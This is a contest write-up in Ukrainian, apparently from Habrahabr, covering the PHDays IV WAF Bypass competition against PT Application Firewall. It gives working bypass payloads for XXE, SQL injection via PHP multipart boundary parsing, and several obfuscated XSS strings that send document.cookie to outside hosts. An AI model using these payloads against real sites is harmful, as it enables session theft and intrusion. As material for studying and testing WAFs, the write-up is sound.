Розбір завдань конкурсу WAF Bypass на PHDays IV

    Цього року на Positive Hack Days проходив конкурс WAF Bypass, учасники якого могли спробувати свої сили в обході PT Application Firewall . Для нас проведення такого конкурсу було відмінним шансом перевірити продукт в бою, адже на конференції зібралися кращі фахівці в області інформаційної безпеки.
 
Для конкурсу ми підготували набір завдань. Кожне представляло собою сценарій з типовою вразливістю: з її допомогою потрібно було добути прапор. Всі завдання мали рішення, але рішення не завжди були очевидними. Учасникам був доступний звіт про сканування вихідних кодів завдань за допомогою іншого продукту нашої компанії — Application Inspector . У цьому пості ми розповімо про завдання, обходах і отриманому досвіді.
 
 
 
 

1. XXE

Перше завдання складалося з XMLRPC-сервера на PHP, уразливого до XML External Entities Injection. Уразливість очима Application Inspector:
 
 
 
Завдання було розминкою, і Application Firewall був налаштований на блокування тільки простих XXE:
 
 
<!DOCTYPE input [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><input>&xxe;</input>

Отримати прапор можна було за допомогою, наприклад, parameter entities:
 
 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "flag" >
%xxe;
]>
<body>
<method a='a'>test</method>
</body>

Або через DOCTYPE:
 
 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE body SYSTEM "flag">
<body><method>test</method></body>

 

2. SQL Injection

Метою цього завдання було отримання прапора з бази даних за допомогою SQL Injection. Більшість учасників намагалися обійти фільтр замість того, щоб звернути увагу на хинт: вимагалося виявити помилку в конфігурації WAF, а саме неправильну нормалізацію даних. Одна з найсерйозніших проблем сучасних WAF це нормалізація вхідних даних в HTTP-запитах, помилки якої можуть призвести до уникнення на рівні протоколу. Як зазначав Штефан Ессер у своїй презентації Shocking News in PHP Exploitation ще в 2009 році, розробники WAF намагаються створити один HTTP-парсер для всіх існуючих реалізацій, що очевидно неможливо. Підхід, реалізований у PT Application Firewall, — нормалізація з урахуванням особливостей бекенда. Для завдання нормалізація була відключена, що дозволяло провести наступний обхід:
 
 
POST /news.php HTTP/1.1
Host: task2.waf-bypass.phdays.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=------,xxxx
Content-Length: 191

------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"

GIF89a
------
Content-Disposition: form-data; name="id"

1' union select null,null,flag,null from flag limit 1 offset 1-- -
--------
------,xxxx--

У PHP є свій унікальний парсер multipart-даних, який у якості boundary бере значення до коми в заголовку Content-Type. Нормальні парсери беруть повне значення. Тому без нормалізації WAF буде вважати, що в запиті файл, який не буде перевірятися фільтром. А ось PHP «побачить» в цьому запиті параметр id з корисним навантаженням.
 
 

3. httpOnly

Це завдання і всі наступні орієнтовані на client-side-уразливості. Для конкурсу ми зробили бота на Selenium, для якого виставлялися cookie з прапором; мету завдання — вкрасти ці cookie.
 
httpOnly — прапор cookie, який забороняє доступ до її значення за допомогою JavaScript (звідси й назва).
 
Код уразливого сценарію:
 
 
<h4>httpOnly bypass</h4>
<p>In this task you need to bypass httpOnly and steal bot cookies using
<a href="http://waf-bypass.phdays.com/#bot">http://waf-bypass.phdays.com/#bot</a>.
All XSS checks are disabled, but there is an intentional bug, try to find it!</p>

<?php

if(!isset($_GET['name'])) die("<p>Please provide name</p>");

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
  setcookie('flag', $_GET['name'] . '-' . file_get_contents('./flag'));
} else {
  setcookie('flag', $_GET['name'] . '-' . md5(mt_rand()));
}

echo '<p>' . $_GET['name'] . '</p>';

?> 

Тут можна відзначити два моменти: користувальницьке значення потрапляє в значення cookie, вхідні дані виводяться як є. Очевидно, що бот, перейшовши за посиланням з XSS, не відправить свої cookie через httpOnly, який виставляє Application Firewall. Щоб обійти захист, необхідно було вказати в значенні cookie рядок httpOnly, тоді WAF порахував би, що прапор вже виставлений і додавати свій не треба:
 
 
httponly.php?name=<script>document.location.href='http://sniffer.com?'%2bdocument.cookie</script>;HttpOnly

 
 

4. Anomaly

У цьому завданні учасникам пропонувалося перевірити механізм виявлення аномалій, що використовує алгоритми машинного навчання, які лежать в основі PT Application Firewall. Була підготовлена ​​модель даних, яку перенавчитися (overfit) на різнорідних значеннях. Суть обходу полягала в тому, щоб скласти такий рядок, яка задовольняла параметрах навченої статистичної моделі. У цьому завданні також малася вразливість Cross Site Scripting, однак httpOnly не виставлявся. Обійти навіть ослаблену нами статистичну модель вдалося лише двом учасникам:
 
 
aaaaaaaaaaaa  ... [snip] ... aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaav%3Cvideo+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+src=//secsem.ru+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+onerror=src%2b=document.cookie+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/%3E

Варто відзначити, що для «розбавлення» спецсимволов, на які реагував WAF, використовувалося звернення до значення атрибута тега з іншого атрибута, розташованого досить далеко, щоб рядок не виходила за поріг.
 
 

5. RegEx

Завдання учасників цього завдання — обійти фільтр, що використовує регулярні вирази, і вкрасти cookie бота. Невід'ємна частина будь-якого традиційного WAF — це сигнатури на основі регулярних виразів. Ми ще раз переконалися, що хороший WAF не повинен покладатися тільки на «регулярки». Ось деякі з обходів:
 
 
<img src = http://dsec.ru/bitrix/templates/dsec/img/logo.png onload = \"\\u0064\\u006F\\u0063\\u0075\\u006D\\u0065\\u006E\\u0074.write('<im\\u0067 src = http://sergeybelove.ru?ccc='%2b\\u0064\\u006F\\u0063\\u0075\\u006D\\u0065\\u006E\\u0074.cooki\\u0065%2b'>')\">

 
1%3Cvideo%20%20src%3dx%20onerror%3d%0Asrc='ht'%2b'tp:'%2b'//'+d\\u006fcument['\\x63ookie']%3E%3C/video%3E

 
<svg onload=\"var xStuff=HTMLElement['con'%2b'structor'],yStuff=xStuff('var img=new'%2b' Ima'%2b'ge('%2b') ;im'%2b'g.sr'%2b'c=\\'http:/'%2b'/labs.tom.vg/cookie=\\'%2bdoc'%2b'ument.coo'%2b'kie;doc'%2b'ument.doc'%2b'umentEl'%2b'ement.appe'%2b'ndCh'%2b'ild'%2b'('%2b'img) ;'),zStuff=yStuff()\">

 

6. Sanitize

У заключному завданні пропонувалося реалізувати XSS, обійшовши захист, суть якої полягала в кодуванні відображених у відповіді входять значень в HTML-сутності.
 
GET /sanitize.php?name=<script>alert(1)</script> HTTP/1.0

->
 
 
HTTP/1.0 200 OK
...
Hello, &lt;script&gt;alert(1)&lt;/script&gt;!

Здавалося б, захист залізна; але обхід все ж був. Щоб знайти значення, яке надходить від користувача, проводиться пошук по всьому тілу HTTP-відповіді, який може включати й інші HTML-теги. Обхід полягав у тому, щоб змусити WAF заекранувати вже присутні у відповіді теги, що дозволило б уникнути фільтрації цільового payload.
 
 

Результати

Переможцями стала команда з МДУ — Георгій Носеевіч, Андрій Пєтухов та Олександр балаканиною. Вирішили всі завдання! Друге місце дісталося Івану Новікову (d0znpp), а третє — доповідачу з Бельгії, Тому Ван Гутему. Переможці отримали цінні призи: Apple iPad Air, Sony Xperia Z2 і річну ліцензію на Burp Suite Pro відповідно.
 
 
 
Трохи статистики: за два дні проведення конкурсу було заблоковано 122644 запиту, зареєструвався 101 учасник, лише 11 змогли здобути хоча б один прапор.
 
 
Динаміка першого дня
 
 
 
Динаміка другого дня
 
 
 
 
Статистика по атакам
 
 
 
Статистика по задньому
 
 
 
А ще для конкурсу ми зробили класну візуалізацію за допомогою logstalgia .
 
 
 
На цьому все!
 
 Арсеній Реутов (Raz0r ), Дмитро Нагібін і PT Application Firewall Team
 
 
    
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.